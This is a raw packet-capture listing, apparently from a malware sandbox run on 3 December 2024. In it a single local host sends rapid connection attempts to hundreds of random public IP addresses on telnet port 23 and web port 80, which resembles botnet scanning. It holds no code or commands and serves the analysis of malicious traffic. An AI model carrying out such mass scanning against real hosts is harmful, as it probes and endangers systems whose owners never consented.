Dec 3, 2024 21:47:23.254528999 CET	55832	23	192.168.2.13	120.97.109.249
Dec 3, 2024 21:47:23.255120993 CET	40756	23	192.168.2.13	13.88.44.44
Dec 3, 2024 21:47:23.255697012 CET	35760	23	192.168.2.13	212.188.118.114
Dec 3, 2024 21:47:23.256254911 CET	45726	23	192.168.2.13	58.10.32.234
Dec 3, 2024 21:47:23.256927967 CET	38842	23	192.168.2.13	76.222.202.100
Dec 3, 2024 21:47:23.257477045 CET	40680	23	192.168.2.13	95.30.90.130
Dec 3, 2024 21:47:23.258040905 CET	40568	23	192.168.2.13	165.31.93.83
Dec 3, 2024 21:47:23.258621931 CET	55396	23	192.168.2.13	73.202.143.112
Dec 3, 2024 21:47:23.259273052 CET	39584	23	192.168.2.13	111.202.25.61
Dec 3, 2024 21:47:23.259872913 CET	48204	23	192.168.2.13	223.52.63.81
Dec 3, 2024 21:47:23.260457039 CET	43400	23	192.168.2.13	85.41.192.208
Dec 3, 2024 21:47:23.284610033 CET	36468	80	192.168.2.13	92.165.190.29
Dec 3, 2024 21:47:23.327044010 CET	23	40955	166.126.235.103	192.168.2.13
Dec 3, 2024 21:47:23.327105999 CET	23	40955	209.200.104.41	192.168.2.13
Dec 3, 2024 21:47:23.327124119 CET	23	40955	153.46.131.236	192.168.2.13
Dec 3, 2024 21:47:23.327137947 CET	23	40955	76.95.67.223	192.168.2.13
Dec 3, 2024 21:47:23.327152967 CET	23	40955	61.156.145.112	192.168.2.13
Dec 3, 2024 21:47:23.327166080 CET	23	40955	113.155.24.241	192.168.2.13
Dec 3, 2024 21:47:23.327178955 CET	23	40955	35.250.249.149	192.168.2.13
Dec 3, 2024 21:47:23.327193022 CET	23	40955	163.24.175.81	192.168.2.13
Dec 3, 2024 21:47:23.327354908 CET	23	40955	34.143.28.210	192.168.2.13
Dec 3, 2024 21:47:23.327369928 CET	23	40955	23.7.176.180	192.168.2.13
Dec 3, 2024 21:47:23.327419043 CET	40955	23	192.168.2.13	76.95.67.223
Dec 3, 2024 21:47:23.327420950 CET	40955	23	192.168.2.13	209.200.104.41
Dec 3, 2024 21:47:23.327424049 CET	40955	23	192.168.2.13	166.126.235.103
Dec 3, 2024 21:47:23.327424049 CET	40955	23	192.168.2.13	35.250.249.149
Dec 3, 2024 21:47:23.327424049 CET	40955	23	192.168.2.13	163.24.175.81
Dec 3, 2024 21:47:23.327439070 CET	40955	23	192.168.2.13	113.155.24.241
Dec 3, 2024 21:47:23.327440977 CET	40955	23	192.168.2.13	34.143.28.210
Dec 3, 2024 21:47:23.327445984 CET	40955	23	192.168.2.13	23.7.176.180
Dec 3, 2024 21:47:23.327455044 CET	40955	23	192.168.2.13	61.156.145.112
Dec 3, 2024 21:47:23.327455044 CET	40955	23	192.168.2.13	153.46.131.236
Dec 3, 2024 21:47:23.336836100 CET	23	34566	185.229.236.203	192.168.2.13
Dec 3, 2024 21:47:23.336915970 CET	34566	23	192.168.2.13	185.229.236.203
Dec 3, 2024 21:47:23.337589979 CET	49994	23	192.168.2.13	166.126.235.103
Dec 3, 2024 21:47:23.338248968 CET	40614	23	192.168.2.13	61.156.145.112
Dec 3, 2024 21:47:23.338876009 CET	41784	23	192.168.2.13	35.250.249.149
Dec 3, 2024 21:47:23.339536905 CET	41444	23	192.168.2.13	209.200.104.41
Dec 3, 2024 21:47:23.340203047 CET	48580	23	192.168.2.13	163.24.175.81
Dec 3, 2024 21:47:23.340877056 CET	37328	23	192.168.2.13	153.46.131.236
Dec 3, 2024 21:47:23.341511011 CET	47298	23	192.168.2.13	76.95.67.223
Dec 3, 2024 21:47:23.342139959 CET	55118	23	192.168.2.13	113.155.24.241
Dec 3, 2024 21:47:23.349967003 CET	23	48160	121.34.159.219	192.168.2.13
Dec 3, 2024 21:47:23.350023985 CET	48160	23	192.168.2.13	121.34.159.219
Dec 3, 2024 21:47:23.356503010 CET	23	43958	89.254.166.46	192.168.2.13
Dec 3, 2024 21:47:23.356547117 CET	43958	23	192.168.2.13	89.254.166.46
Dec 3, 2024 21:47:23.357007027 CET	52570	23	192.168.2.13	34.143.28.210
Dec 3, 2024 21:47:23.357646942 CET	38090	23	192.168.2.13	23.7.176.180
Dec 3, 2024 21:47:23.364350080 CET	23	39012	83.212.235.239	192.168.2.13
Dec 3, 2024 21:47:23.364417076 CET	39012	23	192.168.2.13	83.212.235.239
Dec 3, 2024 21:47:23.376641989 CET	23	35760	212.188.118.114	192.168.2.13
Dec 3, 2024 21:47:23.376723051 CET	35760	23	192.168.2.13	212.188.118.114
Dec 3, 2024 21:47:23.405499935 CET	80	36468	92.165.190.29	192.168.2.13
Dec 3, 2024 21:47:23.405678988 CET	36468	80	192.168.2.13	92.165.190.29
Dec 3, 2024 21:47:23.405679941 CET	36468	80	192.168.2.13	92.165.190.29
Dec 3, 2024 21:47:23.405709028 CET	39419	80	192.168.2.13	126.129.144.5
Dec 3, 2024 21:47:23.405709028 CET	39419	80	192.168.2.13	62.250.47.221
Dec 3, 2024 21:47:23.405710936 CET	39419	80	192.168.2.13	72.97.142.213
Dec 3, 2024 21:47:23.405714989 CET	39419	80	192.168.2.13	107.213.65.9
Dec 3, 2024 21:47:23.405720949 CET	39419	80	192.168.2.13	12.24.147.177
Dec 3, 2024 21:47:23.405720949 CET	39419	80	192.168.2.13	53.235.126.84
Dec 3, 2024 21:47:23.405739069 CET	39419	80	192.168.2.13	49.228.102.17
Dec 3, 2024 21:47:23.405746937 CET	39419	80	192.168.2.13	24.164.155.202
Dec 3, 2024 21:47:23.405750990 CET	39419	80	192.168.2.13	41.80.240.134
Dec 3, 2024 21:47:23.405754089 CET	39419	80	192.168.2.13	165.24.158.142
Dec 3, 2024 21:47:23.405755043 CET	39419	80	192.168.2.13	221.130.82.2
Dec 3, 2024 21:47:23.405756950 CET	39419	80	192.168.2.13	90.37.229.238
Dec 3, 2024 21:47:23.405761003 CET	39419	80	192.168.2.13	190.124.158.80
Dec 3, 2024 21:47:23.405761003 CET	39419	80	192.168.2.13	5.55.194.233
Dec 3, 2024 21:47:23.405761003 CET	39419	80	192.168.2.13	141.196.92.134
Dec 3, 2024 21:47:23.405764103 CET	39419	80	192.168.2.13	190.84.43.40
Dec 3, 2024 21:47:23.405766964 CET	39419	80	192.168.2.13	116.26.55.236
Dec 3, 2024 21:47:23.405761003 CET	39419	80	192.168.2.13	20.188.242.195
Dec 3, 2024 21:47:23.405766010 CET	39419	80	192.168.2.13	201.175.156.23
Dec 3, 2024 21:47:23.405766010 CET	39419	80	192.168.2.13	198.188.172.115
Dec 3, 2024 21:47:23.405776024 CET	39419	80	192.168.2.13	204.146.103.220
Dec 3, 2024 21:47:23.405776978 CET	39419	80	192.168.2.13	25.92.56.247
Dec 3, 2024 21:47:23.405777931 CET	39419	80	192.168.2.13	96.173.72.77
Dec 3, 2024 21:47:23.405781031 CET	39419	80	192.168.2.13	154.138.80.155
Dec 3, 2024 21:47:23.405795097 CET	39419	80	192.168.2.13	114.59.229.172
Dec 3, 2024 21:47:23.405798912 CET	39419	80	192.168.2.13	120.250.254.196
Dec 3, 2024 21:47:23.405803919 CET	39419	80	192.168.2.13	35.237.0.184
Dec 3, 2024 21:47:23.405803919 CET	39419	80	192.168.2.13	190.79.132.2
Dec 3, 2024 21:47:23.405814886 CET	39419	80	192.168.2.13	119.209.227.167
Dec 3, 2024 21:47:23.405828953 CET	39419	80	192.168.2.13	162.93.98.192
Dec 3, 2024 21:47:23.405829906 CET	39419	80	192.168.2.13	43.133.91.102
Dec 3, 2024 21:47:23.405829906 CET	39419	80	192.168.2.13	97.8.98.133
Dec 3, 2024 21:47:23.405834913 CET	39419	80	192.168.2.13	151.74.107.13
Dec 3, 2024 21:47:23.405834913 CET	39419	80	192.168.2.13	51.235.160.72
Dec 3, 2024 21:47:23.405838013 CET	39419	80	192.168.2.13	196.34.179.124
Dec 3, 2024 21:47:23.405838013 CET	39419	80	192.168.2.13	207.86.99.212
Dec 3, 2024 21:47:23.405844927 CET	39419	80	192.168.2.13	102.88.90.197
Dec 3, 2024 21:47:23.405849934 CET	39419	80	192.168.2.13	34.86.246.47
Dec 3, 2024 21:47:23.405858994 CET	39419	80	192.168.2.13	167.173.89.207
Dec 3, 2024 21:47:23.405858994 CET	39419	80	192.168.2.13	64.176.229.188
Dec 3, 2024 21:47:23.405863047 CET	39419	80	192.168.2.13	46.175.121.103
Dec 3, 2024 21:47:23.405865908 CET	39419	80	192.168.2.13	53.129.227.238
Dec 3, 2024 21:47:23.405865908 CET	39419	80	192.168.2.13	132.200.139.98
Dec 3, 2024 21:47:23.405873060 CET	39419	80	192.168.2.13	170.213.139.199
Dec 3, 2024 21:47:23.405874014 CET	39419	80	192.168.2.13	176.150.248.164
Dec 3, 2024 21:47:23.405873060 CET	39419	80	192.168.2.13	96.134.102.217
Dec 3, 2024 21:47:23.405874014 CET	39419	80	192.168.2.13	182.108.3.169
Dec 3, 2024 21:47:23.405880928 CET	39419	80	192.168.2.13	170.131.83.18
Dec 3, 2024 21:47:23.405883074 CET	39419	80	192.168.2.13	105.179.58.12
Dec 3, 2024 21:47:23.405890942 CET	39419	80	192.168.2.13	170.223.251.180
Dec 3, 2024 21:47:23.405891895 CET	39419	80	192.168.2.13	143.3.235.112
Dec 3, 2024 21:47:23.405890942 CET	39419	80	192.168.2.13	208.145.82.73
Dec 3, 2024 21:47:23.405895948 CET	39419	80	192.168.2.13	60.95.111.91
Dec 3, 2024 21:47:23.405901909 CET	39419	80	192.168.2.13	71.221.76.82
Dec 3, 2024 21:47:23.405901909 CET	39419	80	192.168.2.13	104.255.250.253
Dec 3, 2024 21:47:23.405903101 CET	39419	80	192.168.2.13	198.101.192.188
Dec 3, 2024 21:47:23.405910969 CET	39419	80	192.168.2.13	148.65.46.106
Dec 3, 2024 21:47:23.405922890 CET	39419	80	192.168.2.13	20.66.86.83
Dec 3, 2024 21:47:23.405929089 CET	39419	80	192.168.2.13	1.133.173.188
Dec 3, 2024 21:47:23.405930996 CET	39419	80	192.168.2.13	192.88.145.114
Dec 3, 2024 21:47:23.405930996 CET	39419	80	192.168.2.13	70.66.126.203
Dec 3, 2024 21:47:23.405940056 CET	39419	80	192.168.2.13	204.2.219.109
Dec 3, 2024 21:47:23.405945063 CET	39419	80	192.168.2.13	185.94.109.199
Dec 3, 2024 21:47:23.405946016 CET	39419	80	192.168.2.13	50.15.64.251
Dec 3, 2024 21:47:23.405951023 CET	39419	80	192.168.2.13	123.17.65.199
Dec 3, 2024 21:47:23.405961037 CET	39419	80	192.168.2.13	59.111.183.192
Dec 3, 2024 21:47:23.405961037 CET	39419	80	192.168.2.13	66.5.46.226
Dec 3, 2024 21:47:23.405965090 CET	39419	80	192.168.2.13	100.216.152.56
Dec 3, 2024 21:47:23.405965090 CET	39419	80	192.168.2.13	102.68.7.237
Dec 3, 2024 21:47:23.405966043 CET	39419	80	192.168.2.13	186.6.221.30
Dec 3, 2024 21:47:23.405966043 CET	39419	80	192.168.2.13	68.14.178.169
Dec 3, 2024 21:47:23.405966997 CET	39419	80	192.168.2.13	90.223.245.245
Dec 3, 2024 21:47:23.405967951 CET	39419	80	192.168.2.13	170.55.147.33
Dec 3, 2024 21:47:23.405978918 CET	39419	80	192.168.2.13	130.4.9.27
Dec 3, 2024 21:47:23.405981064 CET	39419	80	192.168.2.13	109.178.193.78
Dec 3, 2024 21:47:23.405981064 CET	39419	80	192.168.2.13	192.82.239.143
Dec 3, 2024 21:47:23.405981064 CET	39419	80	192.168.2.13	178.205.20.50
Dec 3, 2024 21:47:23.405985117 CET	39419	80	192.168.2.13	154.100.122.38
Dec 3, 2024 21:47:23.405985117 CET	39419	80	192.168.2.13	12.182.1.163
Dec 3, 2024 21:47:23.405985117 CET	39419	80	192.168.2.13	219.146.69.208
Dec 3, 2024 21:47:23.405999899 CET	39419	80	192.168.2.13	13.33.98.123
Dec 3, 2024 21:47:23.405999899 CET	39419	80	192.168.2.13	43.81.121.82
Dec 3, 2024 21:47:23.405999899 CET	39419	80	192.168.2.13	216.252.36.96
Dec 3, 2024 21:47:23.405999899 CET	39419	80	192.168.2.13	74.149.92.191
Dec 3, 2024 21:47:23.406002045 CET	39419	80	192.168.2.13	54.27.122.71
Dec 3, 2024 21:47:23.406002998 CET	39419	80	192.168.2.13	78.234.144.84
Dec 3, 2024 21:47:23.406008959 CET	39419	80	192.168.2.13	126.57.239.69
Dec 3, 2024 21:47:23.406008959 CET	39419	80	192.168.2.13	164.27.21.126
Dec 3, 2024 21:47:23.406013012 CET	39419	80	192.168.2.13	202.159.154.114
Dec 3, 2024 21:47:23.406023026 CET	39419	80	192.168.2.13	87.79.222.200
Dec 3, 2024 21:47:23.406023979 CET	39419	80	192.168.2.13	199.44.12.160
Dec 3, 2024 21:47:23.406024933 CET	39419	80	192.168.2.13	94.254.9.130
Dec 3, 2024 21:47:23.406025887 CET	39419	80	192.168.2.13	63.135.56.51
Dec 3, 2024 21:47:23.406025887 CET	39419	80	192.168.2.13	172.12.133.242
Dec 3, 2024 21:47:23.406027079 CET	39419	80	192.168.2.13	197.130.59.12
Dec 3, 2024 21:47:23.406027079 CET	39419	80	192.168.2.13	63.135.71.158
Dec 3, 2024 21:47:23.406028032 CET	39419	80	192.168.2.13	210.38.45.110
Dec 3, 2024 21:47:23.406038046 CET	39419	80	192.168.2.13	115.110.142.139
Dec 3, 2024 21:47:23.406044006 CET	39419	80	192.168.2.13	77.120.222.55
Dec 3, 2024 21:47:23.406045914 CET	39419	80	192.168.2.13	48.1.193.161
Dec 3, 2024 21:47:23.406045914 CET	39419	80	192.168.2.13	177.229.24.154
Dec 3, 2024 21:47:23.406047106 CET	39419	80	192.168.2.13	98.17.20.40
Dec 3, 2024 21:47:23.406054020 CET	39419	80	192.168.2.13	201.144.193.224
Dec 3, 2024 21:47:23.406054020 CET	39419	80	192.168.2.13	122.95.249.135
Dec 3, 2024 21:47:23.406054020 CET	39419	80	192.168.2.13	74.176.197.145
Dec 3, 2024 21:47:23.406054020 CET	39419	80	192.168.2.13	17.220.136.228
Dec 3, 2024 21:47:23.406065941 CET	39419	80	192.168.2.13	187.108.54.68
Dec 3, 2024 21:47:23.406065941 CET	39419	80	192.168.2.13	43.199.152.185
Dec 3, 2024 21:47:23.406066895 CET	39419	80	192.168.2.13	96.98.129.235
Dec 3, 2024 21:47:23.406068087 CET	39419	80	192.168.2.13	117.76.213.254
Dec 3, 2024 21:47:23.406069040 CET	39419	80	192.168.2.13	155.212.239.158
Dec 3, 2024 21:47:23.406069040 CET	39419	80	192.168.2.13	20.28.174.32
Dec 3, 2024 21:47:23.406069040 CET	39419	80	192.168.2.13	162.32.158.206
Dec 3, 2024 21:47:23.406069040 CET	39419	80	192.168.2.13	162.43.86.98
Dec 3, 2024 21:47:23.406069994 CET	39419	80	192.168.2.13	146.148.56.2
Dec 3, 2024 21:47:23.406069994 CET	39419	80	192.168.2.13	41.12.86.4
Dec 3, 2024 21:47:23.406089067 CET	39419	80	192.168.2.13	45.34.37.134
Dec 3, 2024 21:47:23.406089067 CET	39419	80	192.168.2.13	125.72.35.138
Dec 3, 2024 21:47:23.406089067 CET	39419	80	192.168.2.13	159.80.33.161
Dec 3, 2024 21:47:23.406091928 CET	39419	80	192.168.2.13	157.226.191.92
Dec 3, 2024 21:47:23.406092882 CET	39419	80	192.168.2.13	2.4.159.40
Dec 3, 2024 21:47:23.406092882 CET	39419	80	192.168.2.13	45.103.183.154
Dec 3, 2024 21:47:23.406094074 CET	39419	80	192.168.2.13	81.185.140.254
Dec 3, 2024 21:47:23.406092882 CET	39419	80	192.168.2.13	73.151.16.198
Dec 3, 2024 21:47:23.406094074 CET	39419	80	192.168.2.13	9.4.106.180
Dec 3, 2024 21:47:23.406094074 CET	39419	80	192.168.2.13	182.49.112.78
Dec 3, 2024 21:47:23.406094074 CET	39419	80	192.168.2.13	68.100.166.62
Dec 3, 2024 21:47:23.406097889 CET	39419	80	192.168.2.13	101.120.99.162
Dec 3, 2024 21:47:23.406099081 CET	39419	80	192.168.2.13	158.78.134.1
Dec 3, 2024 21:47:23.406105995 CET	39419	80	192.168.2.13	181.24.77.22
Dec 3, 2024 21:47:23.406105995 CET	39419	80	192.168.2.13	193.34.190.104
Dec 3, 2024 21:47:23.406116009 CET	39419	80	192.168.2.13	102.15.159.73
Dec 3, 2024 21:47:23.406116009 CET	39419	80	192.168.2.13	17.164.118.33
Dec 3, 2024 21:47:23.406116009 CET	39419	80	192.168.2.13	170.154.28.75
Dec 3, 2024 21:47:23.406119108 CET	39419	80	192.168.2.13	115.203.65.49
Dec 3, 2024 21:47:23.406121016 CET	39419	80	192.168.2.13	76.95.137.223
Dec 3, 2024 21:47:23.406121016 CET	39419	80	192.168.2.13	199.30.45.118
Dec 3, 2024 21:47:23.406121969 CET	39419	80	192.168.2.13	102.48.216.93
Dec 3, 2024 21:47:23.406121969 CET	39419	80	192.168.2.13	175.249.188.163
Dec 3, 2024 21:47:23.406121969 CET	39419	80	192.168.2.13	150.78.188.232
Dec 3, 2024 21:47:23.406121969 CET	39419	80	192.168.2.13	57.63.77.128
Dec 3, 2024 21:47:23.406121969 CET	39419	80	192.168.2.13	172.243.196.0
Dec 3, 2024 21:47:23.406121969 CET	39419	80	192.168.2.13	47.158.77.255
Dec 3, 2024 21:47:23.406136036 CET	39419	80	192.168.2.13	120.107.108.124
Dec 3, 2024 21:47:23.406136036 CET	39419	80	192.168.2.13	153.123.114.188
Dec 3, 2024 21:47:23.406142950 CET	39419	80	192.168.2.13	95.244.57.202
Dec 3, 2024 21:47:23.406142950 CET	39419	80	192.168.2.13	191.255.147.100
Dec 3, 2024 21:47:23.406142950 CET	39419	80	192.168.2.13	213.251.248.145
Dec 3, 2024 21:47:23.406146049 CET	39419	80	192.168.2.13	165.83.136.149
Dec 3, 2024 21:47:23.406146049 CET	39419	80	192.168.2.13	213.172.60.223
Dec 3, 2024 21:47:23.406146049 CET	39419	80	192.168.2.13	37.211.128.172
Dec 3, 2024 21:47:23.406152010 CET	39419	80	192.168.2.13	209.247.33.20
Dec 3, 2024 21:47:23.406155109 CET	39419	80	192.168.2.13	81.193.242.245
Dec 3, 2024 21:47:23.406155109 CET	39419	80	192.168.2.13	59.109.106.246
Dec 3, 2024 21:47:23.406155109 CET	39419	80	192.168.2.13	119.69.130.167
Dec 3, 2024 21:47:23.406155109 CET	39419	80	192.168.2.13	85.51.112.69
Dec 3, 2024 21:47:23.406162024 CET	39419	80	192.168.2.13	138.27.227.79
Dec 3, 2024 21:47:23.406162977 CET	39419	80	192.168.2.13	167.60.223.4
Dec 3, 2024 21:47:23.406164885 CET	39419	80	192.168.2.13	162.229.149.127
Dec 3, 2024 21:47:23.406164885 CET	39419	80	192.168.2.13	218.220.215.182
Dec 3, 2024 21:47:23.406164885 CET	39419	80	192.168.2.13	125.102.205.214
Dec 3, 2024 21:47:23.406164885 CET	39419	80	192.168.2.13	84.63.250.238
Dec 3, 2024 21:47:23.406167984 CET	39419	80	192.168.2.13	151.112.92.233
Dec 3, 2024 21:47:23.406168938 CET	39419	80	192.168.2.13	195.85.174.82
Dec 3, 2024 21:47:23.406172037 CET	39419	80	192.168.2.13	170.12.18.131
Dec 3, 2024 21:47:23.406172037 CET	39419	80	192.168.2.13	90.213.109.41
Dec 3, 2024 21:47:23.406178951 CET	39419	80	192.168.2.13	177.86.141.54
Dec 3, 2024 21:47:23.406179905 CET	39419	80	192.168.2.13	75.19.124.131
Dec 3, 2024 21:47:23.406179905 CET	39419	80	192.168.2.13	51.57.155.243
Dec 3, 2024 21:47:23.406182051 CET	39419	80	192.168.2.13	125.6.30.33
Dec 3, 2024 21:47:23.406182051 CET	39419	80	192.168.2.13	201.168.231.119
Dec 3, 2024 21:47:23.406182051 CET	39419	80	192.168.2.13	114.30.208.252
Dec 3, 2024 21:47:23.406186104 CET	39419	80	192.168.2.13	41.20.6.189
Dec 3, 2024 21:47:23.406186104 CET	39419	80	192.168.2.13	173.212.35.222
Dec 3, 2024 21:47:23.406186104 CET	39419	80	192.168.2.13	5.241.223.164
Dec 3, 2024 21:47:23.406186104 CET	39419	80	192.168.2.13	209.45.246.49
Dec 3, 2024 21:47:23.406192064 CET	39419	80	192.168.2.13	62.192.254.72
Dec 3, 2024 21:47:23.406192064 CET	39419	80	192.168.2.13	53.190.194.164
Dec 3, 2024 21:47:23.406192064 CET	39419	80	192.168.2.13	86.253.85.193
Dec 3, 2024 21:47:23.406186104 CET	39419	80	192.168.2.13	175.189.236.59
Dec 3, 2024 21:47:23.406196117 CET	39419	80	192.168.2.13	37.67.170.175
Dec 3, 2024 21:47:23.406196117 CET	39419	80	192.168.2.13	165.157.74.116
Dec 3, 2024 21:47:23.406203032 CET	39419	80	192.168.2.13	176.107.139.32
Dec 3, 2024 21:47:23.406203032 CET	39419	80	192.168.2.13	100.26.201.67
Dec 3, 2024 21:47:23.406203985 CET	39419	80	192.168.2.13	102.30.200.128
Dec 3, 2024 21:47:23.406203985 CET	39419	80	192.168.2.13	201.18.109.244
Dec 3, 2024 21:47:23.406205893 CET	39419	80	192.168.2.13	166.149.222.96
Dec 3, 2024 21:47:23.406207085 CET	39419	80	192.168.2.13	25.180.241.171
Dec 3, 2024 21:47:23.406208038 CET	39419	80	192.168.2.13	40.158.134.91
Dec 3, 2024 21:47:23.406214952 CET	39419	80	192.168.2.13	174.104.145.1
Dec 3, 2024 21:47:23.406218052 CET	39419	80	192.168.2.13	132.181.147.250
Dec 3, 2024 21:47:23.406220913 CET	39419	80	192.168.2.13	50.30.237.36
Dec 3, 2024 21:47:23.406220913 CET	39419	80	192.168.2.13	121.130.161.80
Dec 3, 2024 21:47:23.406222105 CET	39419	80	192.168.2.13	95.117.76.150
Dec 3, 2024 21:47:23.406220913 CET	39419	80	192.168.2.13	153.160.98.123
Dec 3, 2024 21:47:23.406224012 CET	39419	80	192.168.2.13	175.201.181.179
Dec 3, 2024 21:47:23.406229973 CET	39419	80	192.168.2.13	51.91.3.207
Dec 3, 2024 21:47:23.406245947 CET	39419	80	192.168.2.13	134.147.157.40
Dec 3, 2024 21:47:23.406246901 CET	39419	80	192.168.2.13	218.203.47.41
Dec 3, 2024 21:47:23.406248093 CET	39419	80	192.168.2.13	128.68.153.90
Dec 3, 2024 21:47:23.406250954 CET	39419	80	192.168.2.13	137.151.161.66
Dec 3, 2024 21:47:23.406256914 CET	39419	80	192.168.2.13	73.181.5.189
Dec 3, 2024 21:47:23.406275034 CET	39419	80	192.168.2.13	86.63.22.24
Dec 3, 2024 21:47:23.406275988 CET	39419	80	192.168.2.13	146.53.4.217
Dec 3, 2024 21:47:23.406275988 CET	39419	80	192.168.2.13	81.148.199.188
Dec 3, 2024 21:47:23.406284094 CET	39419	80	192.168.2.13	75.220.99.35
Dec 3, 2024 21:47:23.406286001 CET	39419	80	192.168.2.13	111.91.154.114
Dec 3, 2024 21:47:23.406294107 CET	39419	80	192.168.2.13	149.7.201.240
Dec 3, 2024 21:47:23.406302929 CET	39419	80	192.168.2.13	94.235.61.134
Dec 3, 2024 21:47:23.406303883 CET	39419	80	192.168.2.13	146.172.191.91
Dec 3, 2024 21:47:23.406315088 CET	39419	80	192.168.2.13	135.167.158.45
Dec 3, 2024 21:47:23.406316996 CET	39419	80	192.168.2.13	176.96.22.110
Dec 3, 2024 21:47:23.406325102 CET	39419	80	192.168.2.13	203.120.194.113
Dec 3, 2024 21:47:23.406327009 CET	39419	80	192.168.2.13	158.236.21.36
Dec 3, 2024 21:47:23.406333923 CET	39419	80	192.168.2.13	164.224.3.46
Dec 3, 2024 21:47:23.406341076 CET	39419	80	192.168.2.13	95.27.13.237
Dec 3, 2024 21:47:23.406352997 CET	39419	80	192.168.2.13	125.60.206.143
Dec 3, 2024 21:47:23.406362057 CET	39419	80	192.168.2.13	92.155.147.196
Dec 3, 2024 21:47:23.406371117 CET	39419	80	192.168.2.13	206.241.255.208
Dec 3, 2024 21:47:23.406371117 CET	39419	80	192.168.2.13	14.34.26.240
Dec 3, 2024 21:47:23.406372070 CET	39419	80	192.168.2.13	4.118.132.14
Dec 3, 2024 21:47:23.406373978 CET	39419	80	192.168.2.13	73.183.50.185
Dec 3, 2024 21:47:23.406373978 CET	39419	80	192.168.2.13	95.108.174.194
Dec 3, 2024 21:47:23.406375885 CET	39419	80	192.168.2.13	189.218.232.88
Dec 3, 2024 21:47:23.406379938 CET	39419	80	192.168.2.13	111.116.30.35
Dec 3, 2024 21:47:23.406382084 CET	39419	80	192.168.2.13	190.163.23.120
Dec 3, 2024 21:47:23.406382084 CET	39419	80	192.168.2.13	207.49.205.204
Dec 3, 2024 21:47:23.406385899 CET	39419	80	192.168.2.13	111.208.14.119
Dec 3, 2024 21:47:23.406385899 CET	39419	80	192.168.2.13	19.186.49.113
Dec 3, 2024 21:47:23.406394005 CET	39419	80	192.168.2.13	213.125.47.182
Dec 3, 2024 21:47:23.406394958 CET	39419	80	192.168.2.13	175.98.80.1
Dec 3, 2024 21:47:23.406409979 CET	39419	80	192.168.2.13	166.221.77.109
Dec 3, 2024 21:47:23.406410933 CET	39419	80	192.168.2.13	73.123.193.148
Dec 3, 2024 21:47:23.406415939 CET	39419	80	192.168.2.13	51.167.192.102
Dec 3, 2024 21:47:23.406428099 CET	39419	80	192.168.2.13	198.25.88.219
Dec 3, 2024 21:47:23.406433105 CET	39419	80	192.168.2.13	220.85.160.194
Dec 3, 2024 21:47:23.406434059 CET	39419	80	192.168.2.13	47.194.100.119
Dec 3, 2024 21:47:23.406450033 CET	39419	80	192.168.2.13	122.113.226.176
Dec 3, 2024 21:47:23.406452894 CET	39419	80	192.168.2.13	164.110.106.247
Dec 3, 2024 21:47:23.406465054 CET	39419	80	192.168.2.13	180.133.119.128
Dec 3, 2024 21:47:23.406469107 CET	39419	80	192.168.2.13	68.43.210.148
Dec 3, 2024 21:47:23.406470060 CET	39419	80	192.168.2.13	59.208.249.224
Dec 3, 2024 21:47:23.406471014 CET	39419	80	192.168.2.13	115.237.90.117
Dec 3, 2024 21:47:23.406481028 CET	39419	80	192.168.2.13	184.2.183.221
Dec 3, 2024 21:47:23.406487942 CET	39419	80	192.168.2.13	61.111.169.180
Dec 3, 2024 21:47:23.406487942 CET	39419	80	192.168.2.13	164.74.135.253
Dec 3, 2024 21:47:23.406506062 CET	39419	80	192.168.2.13	27.135.250.164
Dec 3, 2024 21:47:23.406508923 CET	39419	80	192.168.2.13	168.43.248.250
Dec 3, 2024 21:47:23.406511068 CET	39419	80	192.168.2.13	157.80.232.33
Dec 3, 2024 21:47:23.406521082 CET	39419	80	192.168.2.13	161.141.13.134
Dec 3, 2024 21:47:23.406522989 CET	39419	80	192.168.2.13	79.207.50.75
Dec 3, 2024 21:47:23.406531096 CET	39419	80	192.168.2.13	19.102.220.127
Dec 3, 2024 21:47:23.406531096 CET	39419	80	192.168.2.13	163.41.128.44
Dec 3, 2024 21:47:23.406533003 CET	39419	80	192.168.2.13	141.211.138.98
Dec 3, 2024 21:47:23.406549931 CET	39419	80	192.168.2.13	188.247.86.64
Dec 3, 2024 21:47:23.406549931 CET	39419	80	192.168.2.13	51.254.67.188
Dec 3, 2024 21:47:23.406550884 CET	39419	80	192.168.2.13	174.204.104.122
Dec 3, 2024 21:47:23.406563997 CET	39419	80	192.168.2.13	78.114.213.5
Dec 3, 2024 21:47:23.406567097 CET	39419	80	192.168.2.13	93.38.82.129
Dec 3, 2024 21:47:23.406569958 CET	39419	80	192.168.2.13	49.11.218.204
Dec 3, 2024 21:47:23.406569958 CET	39419	80	192.168.2.13	43.156.130.124
Dec 3, 2024 21:47:23.406577110 CET	39419	80	192.168.2.13	31.75.182.249
Dec 3, 2024 21:47:23.406585932 CET	39419	80	192.168.2.13	166.7.251.108
Dec 3, 2024 21:47:23.406586885 CET	39419	80	192.168.2.13	140.241.139.136
Dec 3, 2024 21:47:23.406596899 CET	39419	80	192.168.2.13	192.127.111.13
Dec 3, 2024 21:47:23.406599045 CET	39419	80	192.168.2.13	202.199.106.46
Dec 3, 2024 21:47:23.406605959 CET	39419	80	192.168.2.13	97.253.115.159
Dec 3, 2024 21:47:23.406606913 CET	39419	80	192.168.2.13	195.239.133.108
Dec 3, 2024 21:47:23.406606913 CET	39419	80	192.168.2.13	57.169.208.244
Dec 3, 2024 21:47:23.406615973 CET	39419	80	192.168.2.13	96.126.180.254
Dec 3, 2024 21:47:23.406615973 CET	39419	80	192.168.2.13	99.57.60.84
Dec 3, 2024 21:47:23.406615973 CET	39419	80	192.168.2.13	219.213.54.50
Dec 3, 2024 21:47:23.406615973 CET	39419	80	192.168.2.13	17.121.195.125
Dec 3, 2024 21:47:23.406620026 CET	39419	80	192.168.2.13	188.47.99.191
Dec 3, 2024 21:47:23.406615973 CET	39419	80	192.168.2.13	159.164.206.217
Dec 3, 2024 21:47:23.406625986 CET	39419	80	192.168.2.13	74.242.213.52
Dec 3, 2024 21:47:23.406627893 CET	39419	80	192.168.2.13	213.54.68.173
Dec 3, 2024 21:47:23.406627893 CET	39419	80	192.168.2.13	187.187.133.205
Dec 3, 2024 21:47:23.406641006 CET	39419	80	192.168.2.13	218.147.206.110
Dec 3, 2024 21:47:23.406644106 CET	39419	80	192.168.2.13	190.184.150.109
Dec 3, 2024 21:47:23.406644106 CET	39419	80	192.168.2.13	130.210.23.18
Dec 3, 2024 21:47:23.406651974 CET	39419	80	192.168.2.13	205.112.35.76
Dec 3, 2024 21:47:23.406675100 CET	39419	80	192.168.2.13	198.78.219.208
Dec 3, 2024 21:47:23.406675100 CET	39419	80	192.168.2.13	49.242.189.243
Dec 3, 2024 21:47:23.406685114 CET	39419	80	192.168.2.13	52.253.5.200
